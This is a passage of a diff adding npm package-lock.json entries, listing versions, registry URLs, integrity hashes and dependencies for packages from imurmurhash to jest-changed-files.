+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "engines": {
+        "node": ">=0.8.19"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "dependencies": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+    },
+    "node_modules/ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+    },
+    "node_modules/internal-slot": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+      "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==",
+      "dependencies": {
+        "get-intrinsic": "^1.1.0",
+        "has": "^1.0.3",
+        "side-channel": "^1.0.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/ipaddr.js": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz",
+      "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==",
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/is-arrayish": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+    },
+    "node_modules/is-bigint": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
+      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+      "dependencies": {
+        "has-bigints": "^1.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-binary-path": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+      "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "dependencies": {
+        "binary-extensions": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-boolean-object": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-callable": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
+      "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-core-module": {
+      "version": "2.10.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.10.0.tgz",
+      "integrity": "sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==",
+      "dependencies": {
+        "has": "^1.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-date-object": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-docker": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+      "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+      "bin": {
+        "is-docker": "cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-extglob": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+      "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-generator-fn": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
+      "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/is-glob": {
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+      "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+      "dependencies": {
+        "is-extglob": "^2.1.1"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-module": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
+      "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g=="
+    },
+    "node_modules/is-negative-zero": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
+      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-number": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+      "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+      "engines": {
+        "node": ">=0.12.0"
+      }
+    },
+    "node_modules/is-number-object": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
+      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-obj": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
+      "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-plain-obj": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz",
+      "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-potential-custom-element-name": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ=="
+    },
+    "node_modules/is-regex": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
+      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-regexp": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
+      "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-root": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
+      "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/is-shared-array-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
+      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+      "dependencies": {
+        "call-bind": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-stream": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+      "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-string": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
+      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-symbol": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
+      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "dependencies": {
+        "has-symbols": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-typedarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+      "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
+    },
+    "node_modules/is-weakref": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+      "dependencies": {
+        "call-bind": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-wsl": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+      "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+      "dependencies": {
+        "is-docker": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+    },
+    "node_modules/istanbul-lib-coverage": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+      "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-instrument": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz",
+      "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@babel/parser": "^7.14.7",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-coverage": "^3.2.0",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-instrument/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+      "dependencies": {
+        "istanbul-lib-coverage": "^3.0.0",
+        "make-dir": "^3.0.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-report/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-report/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-source-maps": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+      "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+      "dependencies": {
+        "debug": "^4.1.1",
+        "istanbul-lib-coverage": "^3.0.0",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/istanbul-reports": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz",
+      "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==",
+      "dependencies": {
+        "html-escaper": "^2.0.0",
+        "istanbul-lib-report": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jake": {
+      "version": "10.8.5",
+      "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz",
+      "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==",
+      "dependencies": {
+        "async": "^3.2.3",
+        "chalk": "^4.0.2",
+        "filelist": "^1.0.1",
+        "minimatch": "^3.0.4"
+      },
+      "bin": {
+        "jake": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/jake/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jake/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jake/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jake/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jake/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jake/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz",
+      "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==",
+      "dependencies": {
+        "@jest/core": "^27.5.1",
+        "import-local": "^3.0.2",
+        "jest-cli": "^27.5.1"
+      },
+      "bin": {
+        "jest": "bin/jest.js"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-changed-files": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz",
+      "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "execa": "^5.0.0",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-changed-files/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
